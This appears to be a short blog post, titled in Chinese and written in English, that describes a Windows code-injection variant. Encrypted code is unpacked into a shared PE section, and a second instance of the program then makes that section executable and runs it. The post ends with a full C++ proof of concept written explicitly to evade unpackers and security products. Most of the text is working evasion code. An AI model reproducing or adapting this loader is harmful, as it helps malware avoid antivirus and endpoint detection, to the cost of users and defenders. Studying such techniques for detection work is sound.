Windows 上的另类注入方法
.shared section are used as a way to share data between multiple instances(e.g.A' and A'') of an application.If you modify the shared data in A' process, you will get the modified data in A'' process, even if A''is created after the data modification.
How can we use this to ‘inject’ a code?
If we have an application'X', which contains encrypted/packed code and we want to decrypt the code and execute it from a remote process, after decrypting/unpacking the code, we need to write the code into a remote process (e.g. viaWriteProcessMemory, etc) and execute it (e.g. CreateRemoteThread,QueueUserAPC, etc).
Execution of child process or chain of child processes is a good way to bypass/hinder many security products, but WriteProcessMemory, CreateRemoteThread, etc. are famous functions used for process injections, so they are suspicious.
'inject' code using a .shared section
We can use.shared section to modify data in a remote process by just modifying the data inside the current process.
Create a.shared section:
#pragma data_seg("unpacked")
char buf[BUF_SIZE + 1]{ "N" };
#pragma data_seg()
#pragma comment(linker, "/Section:unpacked,RWS")
first process:
1.Unpack/decrypt code
2.Copy to the shared section
3.Execute the current application (the second instance)
if (buf[0] == 'N') {
byte unpacked_code[BUF_SIZE]{};
unpack_code(packed_code, unpacked_code);
memcpy_s(buf + 1, BUF_SIZE, unpacked_code, BUF_SIZE);
buf[0] = 'Y';
TCHAR filePath[MAX_PATH]{};
GetModuleFileName(nullptr, filePath, MAX_PATH);
STARTUPINFO si{ sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi{};
CreateProcess(nullptr, filePath, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
It’s the second instance of the sample application but with modified.sharedsection (there is decrypted/unpacked code)
else if (buf[0] == 'Y') {
DWORD old{};
VirtualProtect(buf, BUF_SIZE + 1, PAGE_EXECUTE_READWRITE, &old);
__asm {
lea eax, buf;
add eax, 1;
push eax;
ret;
}
}
Conclusion:
The first instance of the application does nothing but decrypting/unpacking a code.The second instance of the application does nothing but executing the code decrypted/unpacked by the first instance.This way of separating unpacking and unpacked code execution into two processes without writing the unpacked code to the second instance (e.g. viaWriteProcessMemory, etc.) maybe can be used to bypass generic unpackers and/or security products.
PoC:
#include <Windows.h>
#define PAGE_SIZE 0x1000
#define BUF_SIZE PAGE_SIZE * 0x10
#pragma data_seg("unpacked")
char buf[BUF_SIZE + 1]{ "N" };
#pragma data_seg()
#pragma comment(linker, "/Section:unpacked,RWS")
byte packed_code[BUF_SIZE] { ... };
void unpack_code(byte* packed, byte* unpacked);
int main()
{
if (buf[0] == 'N') {
byte unpacked_code[BUF_SIZE]{};
unpack_code(packed_code, unpacked_code);
memcpy_s(buf + 1, BUF_SIZE, unpacked_code, BUF_SIZE);
buf[0] = 'Y';
TCHAR filePath[MAX_PATH]{};
GetModuleFileName(nullptr, filePath, MAX_PATH);
STARTUPINFO si{ sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi{};
CreateProcess(nullptr, filePath, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else if (buf[0] == 'Y') {
DWORD old{};
VirtualProtect(buf, BUF_SIZE + 1, PAGE_EXECUTE_READWRITE, &old);
__asm {
lea eax, buf;
add eax, 1;
push eax;
ret;
}
}
}
This idea comes from @_qaz_qaz ,thanks